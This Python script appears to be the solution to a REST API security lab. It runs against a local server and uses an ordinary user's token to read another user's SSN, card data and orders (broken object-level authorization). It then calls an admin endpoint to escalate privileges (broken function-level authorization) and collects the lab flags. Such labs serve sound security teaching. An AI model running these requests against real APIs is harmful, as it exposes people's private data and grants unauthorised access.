#!/usr/bin/env python3
"""
Exploit lab 9.1 - REST API.

Kich ban: ta la alice (user thuong). Muc tieu:
  1. Dang nhap bang chinh tai khoan alice -> lay token hop le.
  2. BOLA: dung token cua alice doc object cua bob (/api/users/2) ->
     lo ca ssn, card, secret_note (chua flag).
  3. BOLA tren orders: doc don hang cua bob.
  4. BFLA: goi ham admin /api/admin/promote de tu nang quyen -> flag.
"""
import sys
import requests

BASE = "http://127.0.0.1:8071"


def login(username, password):
    r = requests.post("%s/api/login" % BASE,
                      json={"username": username, "password": password})
    r.raise_for_status()
    return r.json()["token"]


def main():
    print("[*] Buoc 1: dang nhap bang tai khoan cua CHINH ta (alice)")
    token = login("alice", "alice123")
    h = {"Authorization": "Bearer %s" % token}
    print("    token alice = %s" % token)

    print("\n[*] Buoc 2: BOLA - doc object cua bob (id=2) bang token alice")
    r = requests.get("%s/api/users/2" % BASE, headers=h)
    bob = r.json()
    print("    HTTP %d" % r.status_code)
    print("    bob.email       = %s" % bob.get("email"))
    print("    bob.ssn         = %s" % bob.get("ssn"))
    print("    bob.card        = %s" % bob.get("card"))
    print("    bob.secret_note = %s" % bob.get("secret_note"))

    print("\n[*] Buoc 3: BOLA tren orders - doc don hang cua bob")
    r = requests.get("%s/api/users/2/orders" % BASE, headers=h)
    print("    %s" % r.json())

    print("\n[*] Buoc 4: BFLA - user thuong goi ham admin de tu nang quyen")
    r = requests.post("%s/api/admin/promote" % BASE, headers=h,
                      json={"user_id": 1})
    print("    HTTP %d" % r.status_code)
    print("    %s" % r.json())

    note = bob.get("secret_note", "")
    flag2 = r.json().get("flag", "")
    ok = note.startswith("FLAG{") and flag2.startswith("FLAG{")
    print("\n[+] BOLA flag: %s" % note)
    print("[+] BFLA flag: %s" % flag2)
    sys.exit(0 if ok else 1)


if __name__ == "__main__":
    main()
